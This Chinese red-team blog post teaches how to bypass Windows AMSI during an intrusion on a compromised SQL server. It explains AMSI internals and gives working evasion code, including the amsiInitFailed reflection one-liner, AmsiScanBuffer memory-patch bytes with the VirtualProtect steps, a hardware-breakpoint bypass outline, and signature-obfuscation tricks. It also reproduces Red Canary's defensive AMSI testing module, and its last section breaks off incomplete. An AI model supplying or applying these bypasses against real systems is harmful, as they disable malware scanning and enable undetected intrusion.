目 录CONTENT

文章目录

红队行动Live-20250111

Administrator
2025-09-08 / 0 评论 / 0 点赞 / 6 阅读 / 0 字

1 深入理解与绕过AMSI

  • 场景上下文:在通过JEA绕过获得 server04 主机上用户 s.helmer 的上下文后,初步枚举确认该主机是一台MS-SQL Server服务器。为了进行深入的攻击面评估和利用,需要加载如PowerView或PowerUpSQL等强大的PowerShell工具集。然而,在尝试加载这些工具时,会触发目标主机的防御机制,该防御机制在脚本交互层面表现为AMSI。因此,首要任务是绕过AMSI,为后续的枚举和攻击铺平道路。

  • github相关:

  • https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#Patching-AMSI-AmsiScanBuffer-by-rasta-mouse

  • https://github.com/PACHAKUTlQ/ThreatCheck

  • https://github.com/mishmashclone/rasta-mouse-Watson

  • https://github.com/rasta-mouse/ThreatCheck

1.1 AMSI背景:恶意脚本的挑战与无文件攻击

  • 脚本语言的攻击优势

    • 脚本语言(如PowerShell)相较于编译型语言,具有开发周期短、开销小、可移植性好等优势。

    • 它们能够绕过应用程序的允许列表策略,直接在内存中执行代码,并且可以方便地利用.NET等框架的强大功能,甚至直接访问Win32 API,极大地扩展了其攻击能力。

  • 无文件恶意软件的兴起

    • 随着传统安全工具对磁盘上的编译型恶意软件检测能力增强,攻击者转向了更为隐蔽的无文件攻击策略。

    • 这种策略依赖操作系统内置的、受信任的工具(如 PowerShell.exe)来执行恶意代码,这一战术被称为“利用现成工具”(Living-Off-The-Land)。

    • 由于恶意代码不写入磁盘,传统基于静态文件扫描的安全产品对此类攻击往往无能为力。PowerShell因其在Windows系统中的默认集成和强大功能,在2015年Empire框架发布后,成为了无文件攻击的事实标准。

  • 传统检测的困境与AMSI的诞生

    • 早期的脚本检测机制非常脆弱。例如,防御产品可能会通过检查脚本中是否包含某个特定字符串(如“RedteamNotes”)来判断其恶意性。

      PS> Write-Host "RedteamNotes";
    • 攻击者只需简单的字符串拼接就可以轻松绕过这种检测。

      PS> Write-Host "Redteam" + "Notes";
    • 尽管防御工具随后引入了语言模拟技术(如先拼接字符串再扫描),但攻击者又转向了更复杂的混淆技术,如编码和加密。

    • Base64编码示例

      PS> $str = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("UmVkdGVhbU5vdGVz"));
      PS> Write-Host $str;
    • XOR加密示例

      $key = "redpen"
      $data = "UmVkdGVhbU5vdGVz"
      $bytes = [System.Convert]::FromBase64String($data);
      $decodedBytes = @();
      for ($i = 0; $i -lt $bytes.Count; $i++) {
          $decodedBytes += $bytes[$i] -bxor $key[$i % $key.Length];
      }
      $payload = [System.Text.Encoding]::UTF8.GetString($decodedBytes);
      Write-Host $payload;
    • 为了应对这种不断升级的混淆和内存执行技术(如通过Invoke-Expression执行远程下载的脚本),微软在Windows 10中引入了AMSI,旨在从根本上解决对动态、内存中代码的检测难题。

1.2 AMSI核心原理与工作流程

1.2.1 概念、角色与关系

  • AMSI是什么

    • AMSI (Antimalware Scan Interface),即反恶意软件扫描接口,它本身不是一个杀毒引擎,而是一个允许应用程序与系统中已安装的反恶意软件引擎进行通信的标准接口

    • 当一个PowerShell进程创建时,amsi.dll会被加载到该进程的地址空间中。

  • 核心组件与角色

    • 应用程序/服务:指需要执行脚本或处理数据的程序,如PowerShell、Office VBA、WSH等。它们是AMSI扫描的发起方。

    • AMSI接口 (amsi.dll):作为中间层,提供标准函数(如AmsiScanBuffer)供应用程序调用,并将内容转发给检测模块。

    • 反恶意软件检测模块 (Provider):指实际执行扫描的引擎,如Windows Defender (MpOav.dll) 或第三方EDR产品注册的模块。

  • AMSI与Windows Defender的关系

    • 两者是协作关系。AMSI负责在运行时检测到威胁并发出警报;而Windows Defender则作为默认的Provider,根据AMSI的反馈采取实际的响应动作,如隔离文件、阻止进程运行,甚至终止创建恶意进程的父进程,形成链式防御。

1.2.2 PowerShell中的实现细节

  • 扫描入口

    • 在PowerShell的核心库 System.Management.Automation.dll 中,一个名为 PerformSecurityChecks() 的内部函数负责在脚本块被编译和执行前进行安全扫描。

    • 此函数会调用一个名为 AmsiUtils.ScanContent() 的实用工具,并将脚本内容传递给它。

  • 核心扫描流程

    • AmsiUtils.ScanContent() 内部会调用 WinScanContent() 函数。

    • WinScanContent() 首先调用 amsi!AmsiOpenSession() 创建一个AMSI会话,用于关联后续的多个扫描请求。

    • 然后,它调用核心的Win32 API函数 amsi!AmsiScanBuffer(),将脚本内容(缓冲区)提交给系统中所有已注册的Provider进行扫描。

  • 扫描结果与响应

    • AmsiScanBuffer() 会返回一个扫描结果,主要有三种:

      • AMSI_RESULT_NOT_DETECTED: 中性结果,未检测到威胁。

      • AMSI_RESULT_CLEAN: 明确结果,内容是安全的。

      • AMSI_RESULT_DETECTED: 明确结果,内容包含恶意软件。

    • 如果返回前两种结果,脚本将被允许执行。

    • 如果返回 AMSI_RESULT_DETECTED,PowerShell会抛出一个 ParseException 异常,脚本的执行会被立即中止,并在控制台显示错误信息,例如:

      This script contains malicious content and has been blocked by your antivirus software.

1.2.3 底层原理(COM与注册表)

  • 要深入理解AMSI,需要了解其底层的COM(组件对象模型)实现和注册表依赖。

  • 初始化过程 (AmsiInitialize)

    • 当PowerShell等应用启动时,会调用 amsi!AmsiInitialize() 来初始化AMSI。

    • 此函数通过COM机制创建 IAntimalware 接口的实例。

  • Provider的发现与加载

    • 初始化过程中,AMSI会调用 amsi!CGuidEnum::StartEnum() 函数。

    • 该函数会查询注册表路径 Software\Microsoft\AMSI\Providers

    • 它会遍历此路径下的所有子键,每个子键代表一个已注册的反恶意软件Provider(如Defender或其他EDR),并读取它们的类标识符(CLSID)。

    • 对于每一个找到的Provider,AMSI会查询其 InProcServer32 注册表值,以获取实现该Provider功能的DLL文件的路径(例如 MpOav.dll)。

    • 在加载DLL之前,系统可能会进行Authenticode签名检查(取决于 SOFTWARE\Microsoft\AMSI\FeatureBits 注册表键的值)。

    • 验证通过后,通过 LoadLibraryW() 加载该DLL到当前进程的内存空间。

  • 扫描执行

    • AmsiScanBuffer() 被调用时,它会进入 amsi!CAmsiAntimalware::Scan() 方法。

    • 该方法内部有一个循环,会遍历所有已成功加载的Provider,并调用每一个Provider实现的 IAntimalwareProvider::Scan() 函数,将脚本内容传递给它们。

    • 每个Provider独立进行扫描并返回一个 AMSI_RESULT 值。只要有一个Provider返回 AMSI_RESULT_DETECTED,整个扫描就会被判定为恶意。

    • 在默认的Defender实现中,MpOav.dll 会将扫描任务进一步转交给 MpClient.dll(Windows Defender的客户端接口)来完成。

1.3 AMSI绕过的学习方法论

  • 学习AMSI绕过不应追求速成或死记硬背代码片段,而应遵循一个系统性的方法论,深入理解其对抗本质。

  • 第一步:夯实基础

    • 理解核心概念:首先要通过官方文档和高质量的技术文章,彻底搞清楚AMSI是什么、不是什么,以及它的工作原理。目标不是100%记住所有细节,而是构建一个准确的核心认知框架。

    • 掌握前置知识:学习Windows内存管理、DLL加载机制、COM组件、API调用、反射技术等底层知识。

  • 第二步:实践与分析

    • 收集并测试代码:收集10到20个公开的AMSI绕过代码片段,在受控的靶场环境中逐一尝试。

    • 拥抱失败:期望这些代码大部分会失效。当它们失效时,正是学习的最佳时机。你需要去调试、分析报错信息,并思考为什么它不再起作用。

    • 理解代码逻辑:借助AI代码分析工具(如ChatGPT)和调试器,理解每个绕过脚本的核心逻辑,弄清楚它是如何通过代码实现对AMSI某个环节的攻击的。

  • 第三步:归类与总结

    • 在分析了足够多的样本后,尝试对这些绕过技术进行归类。你会逐渐总结出几种主流的绕过模式,例如:字符串混淆、内存修改、.NET反射、DLL劫持等。

    • 思考不同技术之间的高下之分,以及它们分别适用于何种场景。

  • 第四步:转向更广阔的免杀领域

    • 当对AMSI的绕过方法有了体系化的理解后,不要止步于此。应将AMSI绕过视为进入更广阔的免杀领域的“平滑入口”,开始学习静态文件免杀、进程注入、ETW绕过等更复杂的技术。

1.4 典型绕过技术分类与详解

  • 不同的绕过方法针对AMSI工作流的不同环节,其原理和实现差异显著。

1.4.1 字符串混淆

  • 原理:这是最基础的绕过方法。由于AMSI的早期版本严重依赖对特定恶意字符串(如AmsiScanBuffer, Invoke-Mimikatz)的签名匹配,攻击者通过分割、编码、加密等方式隐藏这些关键词,即可绕过检测。

  • 实现代码(PowerShell)

    # 方式一:字符串拼接
    PS > "Ams" + "is" + "can" + "Buff" + "er"
    
    # 方式二:Base64编码
    PS > $b = [System.Convert]::FromBase64String("QW1zaVNjYW5CdWZmZXI=")
    PS > [System.Text.Encoding]::UTF8.GetString($b)
  • 现状:现代AMSI和EDR已经具备了对简单混淆(如拼接、Base64解码)的检测能力,但更复杂的、多层嵌套的混淆和加密依然是有效的绕过手段。

1.4.2 AMSI内存补丁 (Memory Patching)

  • 原理:由于amsi.dll被加载到当前进程的内存空间中,攻击者可以利用内存读写权限,直接修改AmsiScanBuffer等关键函数的机器码,使其逻辑失效。

  • 通用流程重要重要重要!!!

    • 在当前进程中获取amsi.dll模块句柄,并找到AmsiScanBuffer函数的内存地址。

    • 使用VirtualProtect函数将该函数所在内存页的保护属性修改为可读写(PAGE_EXECUTE_READWRITE)。

    • 向函数的起始地址写入一小段特定的机器码(补丁)。

    • 再次使用VirtualProtect将内存页的保护属性恢复为只读可执行(PAGE_EXECUTE_READ)。

  • 补丁内容示例

    • 该补丁利用了AmsiScanBuffer函数在接收到无效参数时会返回错误代码E_INVALIDARG (0x80070057)的特性。

    • 补丁的机器码就是直接返回这个错误代码的汇编指令:

      mov eax, 0x80070057
      ret
    • 应用补丁后,任何对AmsiScanBuffer的调用都会立即返回,使AMSI认为发生了参数错误,从而跳过实际的扫描。

1.4.3 反射注入

  • 原理:利用.NET反射在运行时动态访问并修改AMSI相关类的内部私有成员,从逻辑层面禁用其功能。这种方法不直接修改机器码,更为隐蔽。

  • 实现代码(PowerShell)

    [Refl.Assembly].GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic, Static').SetValue($null, $true)
  • 代码解析

    • 通过反射获取PowerShell内部的AmsiUtils类。

    • 找到该类中一个名为amsiInitFailed私有静态字段。

    • 将这个字段的值强制设置为$true

    • 这会欺骗PowerShell,使其认为AMSI初始化已失败,从而在当前会话中完全跳过所有后续的AMSI扫描。

1.4.4 无需补丁的绕过(硬件断点)

  • 原理:这是一种更为高级和巧妙的技术,它不修改任何amsi.dll的内存内容,而是通过设置硬件断点来劫持AmsiScanBuffer的执行流程。

  • 实现流程

    • 获取AmsiScanBuffer的函数地址。

    • 通过AddVectoredExceptionHandler注册一个自定义的异常处理器。

    • 修改当前线程的调试寄存器(如DR0),在AmsiScanBuffer的地址上设置一个硬件断点。

    • 当代码执行并调用AmsiScanBuffer时,硬件断点被触发,CPU产生一个单步异常,控制权被交给我们的异常处理器。

    • 在异常处理器中,直接修改当前线程的上下文(Context):

      • RAX寄存器的值(函数返回值)修改为0 (S_OK)

      • 将堆栈中用于接收扫描结果的地址所指向的值修改为0 (AMSI_RESULT_CLEAN)

      • 修改指令指针RIP,使其跳过AmsiScanBuffer函数本身,直接指向其返回地址。

    • 最后,清除硬件断点并返回EXCEPTION_CONTINUE_EXECUTION,让程序继续执行。

  • 效果AmsiScanBuffer从未真正执行,但其调用方收到了一个伪造的“安全”结果,从而实现了绕过。这种方法能有效规避许多EDR对内存补丁的监控。

1.5 手动修改签名以绕过AMSI

  • 核心问题:几乎所有公开的AMSI绕过代码片段,其本身或者其中的特定字符串很快就会被杀毒软件厂商加入签名库。直接复制粘贴使用大概率会失败。

  • 解决思路:手动找出导致AMSI触发的签名(触发器),并对其进行修改,使之不再匹配签名库。

  • 签名类型

    • 简单字符串签名:AMSI会标记某些独立的字符串,如amsiInitFailedAmsiUtils

    • 正则表达式样式签名:AMSI会使用更复杂的规则,匹配代码的特定结构或多个字符串的组合。例如,它可能会检测 GetType('Amsi...').GetField(...).SetValue 这样的调用链模式。

  • 定位触发器

    • 手动测试:逐行、逐单词地执行代码片段,观察哪一部分会触发AMSI拦截。

    • 自动化工具:使用AMSITrigger等工具,它可以自动化的对脚本进行分块测试,并报告出具体是哪个字符串或哪行代码触发了检测。

  • 修改方法

    • 字符串拼接:将触发签名的字符串拆分成多个部分,在运行时再拼接起来。

      # 原始触发器: "AmsiUtils"
      # 修改后: "Amsi" + "Utils"
    • 编码:对触发签名的字符串进行各种编码(Base64, Hex, ASCII等),在运行时再解码。

      # 将 "AmsiUtils" 进行Base64编码,运行时解码
      ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))
    • 重命名:如果触发器是变量名或函数名,将其重命名为其他名称(例如,$base64binary 改为 $encodedbinary)。

    • 插入无关字符:在PowerShell中,可以在命令和函数名中插入反引号 ` 来绕过一些简单的签名匹配。

1.6 检测与分析AMSI的工具

1. ThreatCheck

ThreatCheck 是一款由 RastaMouse 开发的工具,主要用于检测和分析文件或代码是否可能触发安全工具(如防病毒软件或 EDR)的告警。它为红队成员、渗透测试人员和安全研究人员提供了一个高效的测试环境,可以在操作前预估载荷的威胁性,从而提高隐蔽性和行动成功率。这款工具支持多种输入格式,包括文件路径、字符串以及脚本代码,尤其适用于分析和优化 PowerShell 载荷。

ThreatCheck 的核心工作原理是通过与系统的 AMSI(Anti-Malware Scan Interface)接口交互,将载荷模拟提交到目标环境中的安全工具,捕获其反馈结果。这种设计不仅能够判断哪些内容会被标记为威胁,还可以深入分析载荷在不同执行阶段的风险。例如,一个已经过混淆的 PowerShell 脚本可能不会直接触发告警,但解码后的内容可能会被检测。ThreatCheck 能够细致地模拟这些行为,帮助用户识别和优化潜在问题。

该工具在红队活动中尤为有用,可以在执行攻击载荷前检测其是否会被目标环境拦截,从而调整策略以规避防御机制。同时,对于安全研究人员来说,ThreatCheck 提供了一种研究安全工具检测逻辑的有效方式,便于探索绕过技术。此外,它在漏洞利用开发过程中也能发挥作用,通过优化代码避免其在执行前被安全工具拦截。

作为一款功能强大且使用便捷的工具,ThreatCheck 为现代安全环境中的隐蔽行动提供了强有力的支持。它帮助用户快速了解目标系统的检测能力,并为攻击策略或防御机制的改进提供了数据支持。无论是红队操作还是安全研究,这款工具都展现出了不可或缺的价值。

https://github.com/rasta-mouse/ThreatCheck

2. AmsiCheck.ps1

检测系统是否启用了 AMSI(能否成功初始化 AmsiInitialize)。成功即认为 AMSI 处于活动状态;否则给出失败原因/HRESULT。

PS C:\program\ByAMSI> gc .\amsicheck.ps1
try {
    Add-Type -Namespace CheckAMSI -Name AmsiUtils -MemberDefinition @"
        [DllImport("amsi.dll", EntryPoint = "AmsiInitialize", CallingConvention = CallingConvention.StdCall)]
        public static extern int AmsiInitialize([MarshalAs(UnmanagedType.LPWStr)] string appName, out IntPtr amsiContext);
"@
    $amsiContext = [IntPtr]::Zero
    $result = [CheckAMSI.AmsiUtils]::AmsiInitialize("AMSI Test", [ref] $amsiContext)
    if ($result -eq 0) {
        Write-Output "AMSI is active."
    } else {
        Write-Output "Failed to initialize AMSI."
    }
} catch {
    Write-Output "AMSI is not active or not present."
}

3. Send-AmsiContent AMSITools.ps1

这段脚本用于AMSI 的调试、测试和验证,而无需实际执行恶意代码。

https://github.com/okankurtuluss/AMSIBypassPatch

https://redcanary.com/blog/threat-detection/threat-detection-series-powershell/

以下是代码块连接

https://gist.githubusercontent.com/mgraeber-rc/1eb42d3ec9c2f677e70bb14c3b7b5c9c/raw/64c2a96ece65e61f150daaf435dfc77aa88c8784/AMSITools.psm1

filter Send-AmsiContent {
<#
.SYNOPSIS

Supplies the AmsiScanBuffer function with a buffer to be scanned by an AMSI provider.

Author: Matt Graeber
Company: Red Canary

.DESCRIPTION

Send-AmsiContent is a wrapper for AMSI functions that passes off buffers to be scanned by an AMSI provider via the AmsiScanBuffer function. This function was designed to support AMSI debugging, testing, and validation scenarios without the need to execute malicious code.

In order to get the full functionality out of Send-AmsiContent, it is recommended to create an AV exception for this script as it is likely to flag AV engine signatures based on the presence of "AMSI" strings. 

One way to validate AMSI events is by capturing an ETW trace while using Send-AmsiContent. To start an ETW trace, run the following from an elevated prompt:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets

Then, supply the buffers you want to test to Send-AmsiContent followed by stopping your tace with the following command:

logman stop AMSITrace -ets

Upon completing the AMSI trace, the ETL file can be interpreted in Event Viewer or with the Get-AmsiEvent function in this module.

.PARAMETER StandardAppName

Specifies the application name to emulate that will supply the buffer to AmsiScanBuffer. The following application names are supported:

* PowerShell - Refers to PowerShell script code. This application name is supplied in System.Management.Automation.dll. PowerShell generates a dynamic application name string in the form of PowerShell_POWERSHELLPATH_POWERSHELLVERSION.
* VBScript - Refers to VBScript script code. This application name is supplied in vbscript.dll
* JScript - Refers to JScript script code. This application name is supplied in jscript.dll, jscript9.dll, and jscriptlegacy.dll
* WMI - Refers to WMI operations. This application name is supplied in fastprox.dll
* DotNet - Refers to in-memory .NET assembly loads in .NET 4.8+. This application name is supplied in clr.dll
* coreclr - Refers to in-memory .NET assembly loads in .NET 4.8+. This application name is supplied in coreclr.dll
* VSS - Refers to Volume Shadow Copy service operations. This application name is supplied in VSSVC.exe and swprv.dll
* Excel - Refers to Excel4 macro contents. This application name is supplied in EXCEL.EXE.
* Excel.exe - Refers to Excel4 macro contents. This application name is supplied in excelcnv.exe.
* OFFICE_VBA - Refers to VBA macro contents. This application name is supplied in VBE7.DLL.
* Exchange Server 2016 - Refers to Exchange Server AMSI integration (https://techcommunity.microsoft.com/t5/exchange-team-blog/more-about-amsi-integration-with-exchange-server/ba-p/2572371). This application name is supplied in Microsoft.Exchange.HttpRequestFiltering.dll.

.PARAMETER CustomAppName

Specifies a custom application name. Use this parameter when testing non-standard applications.

.PARAMETER ContentBytes

Specifies a byte array to be scanned by registered AMSI providers.

.PARAMETER ContentString

Specifies a string to be scanned by registered AMSI providers. A warning is presented if either the DotNet or VSS application names are specified as those are expected to be supplied as byte arrays.

.PARAMETER ContentName

Specifies an emulated path to the content being scanned.

.INPUTS

PSObject

Accepts the output of Get-AmsiEvent when the -AsByteArray switch is supplied.

.EXAMPLE

Send-AmsiContent -StandardAppName PowerShell -ContentString 'Write-Host foo' -ContentName 'D:\test.ps1'

.EXAMPLE

Send-AmsiContent -StandardAppName PowerShell -ContentString 'Invoke-Expression "Do-Stuff"'

.EXAMPLE

Send-AmsiContent -StandardAppName DotNet -ContentBytes ([IO.File]::ReadAllBytes('C:\Windows\System32\stordiag.exe'))

.EXAMPLE

Send-AmsiContent -StandardAppName VBScript -ContentString 'WScript.Echo "Hello, World"'

.EXAMPLE

Send-AmsiContent -StandardAppName JScript -ContentString 'WScript.Echo("Hello, Mimikatz?");'

.EXAMPLE

Send-AmsiContent -StandardAppName WMI -ContentString 'ActiveScriptEventConsumer.GetObject();\nActiveScriptEventConsumer.GetObject();\nSetPropValue.Name(\"WriteDateTime\");\nSetPropValue.ScriptText(\"Set FSO=CreateObject(\"Scripting.FileSystemObject\"):Set File = FSO.CreateTextFile(\"C:\\Windows\\Temp\\text.txt\"):File.WriteLine FormatDateTime(now):File.Close\");\n'
#>

    [CmdletBinding(DefaultParameterSetName = 'CustomAppNameByteContent')]
    param (
        [Parameter(Mandatory, Position = 0, ParameterSetName = 'StandardAppNameStringContent')]
        [Parameter(Mandatory, Position = 0, ParameterSetName = 'StandardAppNameByteContent')]
        [String]
        [ValidateSet('PowerShell', 'VBScript', 'JScript', 'WMI', 'DotNet', 'coreclr', 'VSS', 'Excel', 'Excel.exe', 'OFFICE_VBA', 'Exchange Server 2016')]
        $StandardAppName,

        [Parameter(Mandatory, Position = 0, ParameterSetName = 'CustomAppNameStringContent')]
        [Parameter(Mandatory, Position = 0, ParameterSetName = 'CustomAppNameByteContent', ValueFromPipelineByPropertyName)]
        [String]
        [ValidateNotNullOrEmpty()]
        [Alias('AppName')]
        $CustomAppName,

        [Parameter(Mandatory, Position = 1, ParameterSetName = 'StandardAppNameByteContent')]
        [Parameter(Mandatory, Position = 1, ParameterSetName = 'CustomAppNameByteContent', ValueFromPipelineByPropertyName)]
        [Byte[]]
        [Alias('Content')]
        $ContentBytes,

        [Parameter(Mandatory, Position = 1, ParameterSetName = 'StandardAppNameStringContent')]
        [Parameter(Mandatory, Position = 1, ParameterSetName = 'CustomAppNameStringContent')]
        [String]
        [ValidateNotNullOrEmpty()]
        $ContentString,

        [Parameter(Position = 2, ValueFromPipelineByPropertyName)]
        [String]
        $ContentName
    )

    if (-not ('AmsiNativeMethods' -as [Type])) {
        Add-Type -TypeDefinition @'
            using System.Runtime.InteropServices;

            public static class AmsiNativeMethods {
                public enum AMSI_RESULT {
                    AMSI_RESULT_CLEAN = 0,
                    AMSI_RESULT_NOT_DETECTED = 1,
                    AMSI_RESULT_BLOCKED_BY_ADMIN_BEGIN = 0x4000,
                    AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4fff,
                    AMSI_RESULT_DETECTED = 32768,
                }

                [DllImportAttribute("amsi.dll", CallingConvention = CallingConvention.StdCall)]
                public static extern int AmsiInitialize(
                    [InAttribute()][MarshalAsAttribute(UnmanagedType.LPWStr)] string appName,
                    ref System.IntPtr amsiContext
                );

                [DllImportAttribute("amsi.dll", CallingConvention = CallingConvention.StdCall)]
                public static extern void AmsiUninitialize(
                    System.IntPtr amsiContext
                );

                [DllImportAttribute("amsi.dll", CallingConvention = CallingConvention.StdCall)]
                public static extern int AmsiOpenSession(
                    System.IntPtr amsiContext,
                    ref System.IntPtr amsiSession
                );

                [DllImportAttribute("amsi.dll", CallingConvention = CallingConvention.StdCall)]
                public static extern void AmsiCloseSession(System.IntPtr amsiContext, System.IntPtr amsiSession);


                [DllImportAttribute("amsi.dll", CallingConvention = CallingConvention.StdCall)]
                public static extern int AmsiScanBuffer(
                    System.IntPtr amsiContext,
                    byte[] buffer,
                    uint length,
                    [InAttribute()][MarshalAsAttribute(UnmanagedType.LPWStr)] string contentName,
                    System.IntPtr amsiSession,
                    ref AMSI_RESULT result
                );
            }
'@
    }

    if ($CustomAppName) {
        $FullAppName = $CustomAppName
    } else {
        switch ($StandardAppName) {
            'PowerShell' {
                $PowerShellProcess = Get-Process -Id $PID

                # Emulate the dynamically build appname used by PowerShell: https://github.com/PowerShell/PowerShell/blob/03b07a0062648b6b6f9f58227dbd25fb0e0759e7/src/System.Management.Automation/security/SecuritySupport.cs#L1348
                $FullAppName = "PowerShell_$($PowerShellProcess.Path)_$($PSVersionTable.BuildVersion.ToString())"
            }

            'DotNet' {
                if (@('StandardAppNameStringContent', 'CustomAppNameStringContent') -contains $PSCmdlet.ParameterSetName) {
                    Write-Warning 'DotNet content is expected to be supplied as a byte array but string content was supplied.'
                }

                $FullAppName = $StandardAppName
            }

            'coreclr' {
                if (@('StandardAppNameStringContent', 'CustomAppNameStringContent') -contains $PSCmdlet.ParameterSetName) {
                    Write-Warning 'coreclr content is expected to be supplied as a byte array but string content was supplied.'
                }

                $FullAppName = $StandardAppName
            }

            'VSS' {
                if (@('StandardAppNameStringContent', 'CustomAppNameStringContent') -contains $PSCmdlet.ParameterSetName) {
                    Write-Warning 'VSS content is expected to be supplied as a byte array but string content was supplied.'
                }

                $FullAppName = $StandardAppName
            }

            default {
                $FullAppName = $StandardAppName
            }
        }
    }

    if ($ContentName) {
        $ContentNameString = $ContentName
    } else {
        $ContentNameString = [String]::Empty
    }

    if ($ContentBytes) {
        [Byte[]] $Content = $ContentBytes
    } else {
        # -ContentString was supplied
        [Byte[]] $Content = [Text.Encoding]::Unicode.GetBytes($ContentString)
    }

    $AmsiContext = [IntPtr]::Zero
    $AmsiSession = [IntPtr]::Zero
    $AmsiResult  = New-Object -TypeName AmsiNativeMethods+AMSI_RESULT

    $Result = [AmsiNativeMethods]::AmsiInitialize($FullAppName, [Ref] $AmsiContext)

    if ($Result -ne 0) {
        $Failure = [ComponentModel.Win32Exception] $Result

        Write-Error -Message "AmsiInitialize failed. Message: $($Failure.Message). Error code: $($Failure.NativeErrorCode)"
    }

    $Result = [AmsiNativeMethods]::AmsiOpenSession($AmsiContext, [Ref] $AmsiSession)

    if ($Result -ne 0) {
        [AmsiNativeMethods]::AmsiUninitialize($AmsiContext)

        $Failure = [ComponentModel.Win32Exception] $Result

        Write-Error -Message "AmsiOpenSession failed. Message: $($Failure.Message). Error code: $($Failure.NativeErrorCode)"
    }

    $Result = [AmsiNativeMethods]::AmsiScanBuffer(
        $AmsiContext,
        $Content,
        $Content.Length,
        $ContentNameString,
        $AmsiSession,
        [Ref] $AmsiResult
    )

    $ERROR_NOT_READY = 0x80070015

    if (($Result -ne 0) -and ($Result -ne $ERROR_NOT_READY)) {
        $Failure = [ComponentModel.Win32Exception] $Result

        Write-Error -Message "AmsiScanBuffer failed. Message: $($Failure.Message). Error code: $($Failure.NativeErrorCode)"
    }

    [AmsiNativeMethods]::AmsiCloseSession($AmsiContext, $AmsiSession)
    [AmsiNativeMethods]::AmsiUninitialize($AmsiContext)
}

function Get-AMSIEvent {
<#
.SYNOPSIS

Parses the contents of an AMSI ETW trace file.

Author: Matt Graeber
Company: Red Canary

.PARAMETER Path

Specifies the path to an ETL file consisting of an AMSI ETW trace.

.PARAMETER AsByteArray

Returns AMSI event data as a byte array in the Content property. By default, buffers are returned as a unicode string. This option facilitates passing raw AMSI content through to Send-AmsiContent.

.EXAMPLE

Get-AmsiEvent -Path C:\Test\AMSITrace.etl
#>

    param (
        [Parameter(Mandatory)]
        [String]
        [ValidatePattern('\.etl$')] # File path must end with .etl
        $Path,

        [Switch]
        $AsByteArray
    )

    # AMSI events correspond to event ID 1101
    Get-WinEvent -Path $Path -Oldest -FilterXPath 'Event[System[Provider[@Name="Microsoft-Antimalware-Scan-Interface"]] and System[EventID=1101]]' | ForEach-Object {
        $ScanResultValue = $_.Properties[2].Value

        if ($ScanResultValue -eq 0) {
            $ScanResult = 'AMSI_RESULT_CLEAN'
        } elseif ($ScanResultValue -eq 1) {
            $ScanResult = 'AMSI_RESULT_NOT_DETECTED'
        } elseif ($ScanResultValue -eq 32768) {
            $ScanResult = 'AMSI_RESULT_DETECTED'
        } elseif (($ScanResultValue -ge 0x4000) -and ($ScanResultValue -le 0x4FFF)) {
            $ScanResult = 'AMSI_RESULT_BLOCKED_BY_ADMIN'
        } else {
            $ScanResult = $ScanResultValue
        }

        $AppName = $_.Properties[3].Value

        if ($AsByteArray) {
            $AMSIContent = $_.Properties[7].Value
        } else {
            if ($AppName -eq 'DotNet') {
                # In this case, the AMSI buffer is a raw byte array of the full .NET assembly PE
                $AMSIContent = [BitConverter]::ToString($_.Properties[7].Value).Replace('-','')
            } else {
                # In this case, the AMSI buffer is raw byte array of unicode-encoded script code
                $AMSIContent = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
            }
        }

        [PSCustomObject] @{
            ProcessId = $_.ProcessId
            ThreadId = $_.ThreadId
            TimeCreated = $_.TimeCreated
            Session = $_.Properties[0].Value
            ScanStatus = $_.Properties[1].Value
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $_.Properties[4].Value
            ContentSize = $_.Properties[5].Value
            OriginalSize = $_.Properties[6].Value
            Content = $AMSIContent
            Hash = (($_.Properties[8].Value | ForEach-Object { '{0:X2}' -f $_ }) -join '')
            ContentFiltered = $_.Properties[9].Value
        }
    }
}

简短版

https://gist.github.com/mgraeber-rc/34ec1904594c32f587cb58497d981049

# Author: Matt Graeber
# Company: Red Canary

# To start a trace, run the following from an elevated command prompt: logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# To stop the trace, run the following: logman stop AMSITrace -ets

# Example usage: Get-AMSIEvent -Path .\AMSITrace.etl

function Get-AMSIEvent {
    param (
        [Parameter(Mandatory)]
        [String]
        [ValidatePattern('\.etl$')] # File path must end with .etl
        $Path
    )

    # AMSI events correspond to event ID 1101
    Get-WinEvent -Path $Path -Oldest -FilterXPath 'Event[System[Provider[@Name="Microsoft-Antimalware-Scan-Interface"]] and System[EventID=1101]]' | ForEach-Object {
        $ScanResultValue = $_.Properties[2].Value

        if ($ScanResultValue -eq 0) {
            $ScanResult = 'AMSI_RESULT_CLEAN'
        } elseif ($ScanResultValue -eq 1) {
            $ScanResult = 'AMSI_RESULT_NOT_DETECTED'
        } elseif ($ScanResultValue -eq 32768) {
            $ScanResult = 'AMSI_RESULT_DETECTED'
        } elseif (($ScanResultValue -ge 0x4000) -and ($ScanResultValue -le 0x4FFF)) {
            $ScanResult = 'AMSI_RESULT_BLOCKED_BY_ADMIN'
        } else {
            $ScanResult = $ScanResultValue
        }

        $AppName = $_.Properties[3].Value

        if (@('DotNet', 'VSS') -contains $AppName) {
            # In this case, the AMSI buffer is a raw byte array of the full .NET assembly PE
            $AMSIContentString = [BitConverter]::ToString($_.Properties[7].Value).Replace('-','')
        } else {
            # In this case, the AMSI buffer is raw byte array of unicode-encoded script code
            $AMSIContentString = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
        }

        [PSCustomObject] @{
            ProcessId = $_.ProcessId
            ThreadId = $_.ThreadId
            TimeCreated = $_.TimeCreated
            Session = $_.Properties[0].Value
            ScanStatus = $_.Properties[1].Value
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $_.Properties[4].Value
            ContentSize = $_.Properties[5].Value
            OriginalSize = $_.Properties[6].Value
            Content = $AMSIContentString
            Hash = (($_.Properties[8].Value | % { '{0:X2}' -f $_ }) -join '')
            ContentFiltered = $_.Properties[9].Value
        }
    }
}

4. Get-AMSIscanResult.ps1

残缺版,不能使用

4. Get-AMSIscanResult.ps1

